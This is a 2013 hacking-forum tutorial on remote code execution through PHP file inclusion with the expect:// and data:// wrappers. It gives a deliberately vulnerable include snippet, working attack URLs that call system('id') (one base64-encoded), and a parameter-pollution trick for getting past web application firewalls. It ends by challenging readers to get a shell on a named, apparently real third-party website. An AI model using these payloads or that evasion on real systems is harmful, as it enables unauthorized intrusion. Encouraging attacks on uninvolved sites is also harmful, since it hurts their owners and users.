Jul 4, 2013 01:53 PM
(This post was last modified: Jul 4, 2013 03:41 PM by Keeper.)
![[Image: fH5gdWr.png]](https://i.imgur.com/fH5gdWr.png)
Since I've not seen some of these methods covered around here (except for php://filter and php://input), I decided to put up some material on 'em. Basically, they are more than self-explanatory but I still feel the need to tutorialize the process. First of all, in order to execute anything, you'd need to comply with the following conditions:
- $_GET parameter
- Which we'll be passing the payload to
- Version of PHP
- 4.3+ for expect://
- 5.2+ for data://
- allow_url_include function enabled
- In order to inject through the parameter
![[Image: yZkXi3h.png]](https://i.imgur.com/yZkXi3h.png)
The expect:// wrapper is not enabled by default as it's an extension from the PECL package (consider it installed for now). The syntax it accepts is:
Code
expect://[command]Consider this small snippet running on the backend:
PHP Code
<?php
include $_GET['page'];
//..
?>Now we can pretty much run everything php-valid through it. so take the following URL for instance:
Code
http://example.com/Keeper.php?page=expect://id![[Image: A01958S.png]](https://i.imgur.com/A01958S.png)
![[Image: syhCoS2.png]](https://i.imgur.com/syhCoS2.png)
The data:// wrapper bears the same concept. Syntax followed:
Code
data://text/plain;base64,[command encoded in base64]or we can simply:
Code
data://text/plain,[command]We'll take under account that we'll be using the above inclusion of the $_GET parameter so there be two possible scenarios:
Code
http://example.com/Keeper.php?page=data://text/plain;base64,JTNDJTNGc3lzdGVtJTI4JTI3aWQlMjclMjklM0IlM0YlM0U=Code
http://example.com/Keeper.php?page=data://text/plain,<?system('id');?>In case of a WAF, filtering out code that is after the wrapper as in the last examples, we can use parameter pollution to pass/split our payload into two parts, resulting in both parameters being concatenated and separated by a comma likewise:
Code
http://example.com/Keeper.php?page=data://text/plain&page=<?system('id');?>For the HPP part, I have this covered here, won't rephrase it again:
IDS & WAF Evasion with HTTP Parameter Pollution
![[Image: NnwFjbv.png]](https://i.imgur.com/NnwFjbv.png)
As of the content presented in this thread, let's see who will be able to shell
Code
http://gayovich.com.ua/![[Image: Lo3mEye.png]](https://i.imgur.com/Lo3mEye.png)
Solutions are to be PMed obviously so as not to spoil it for others. Small and tidy.



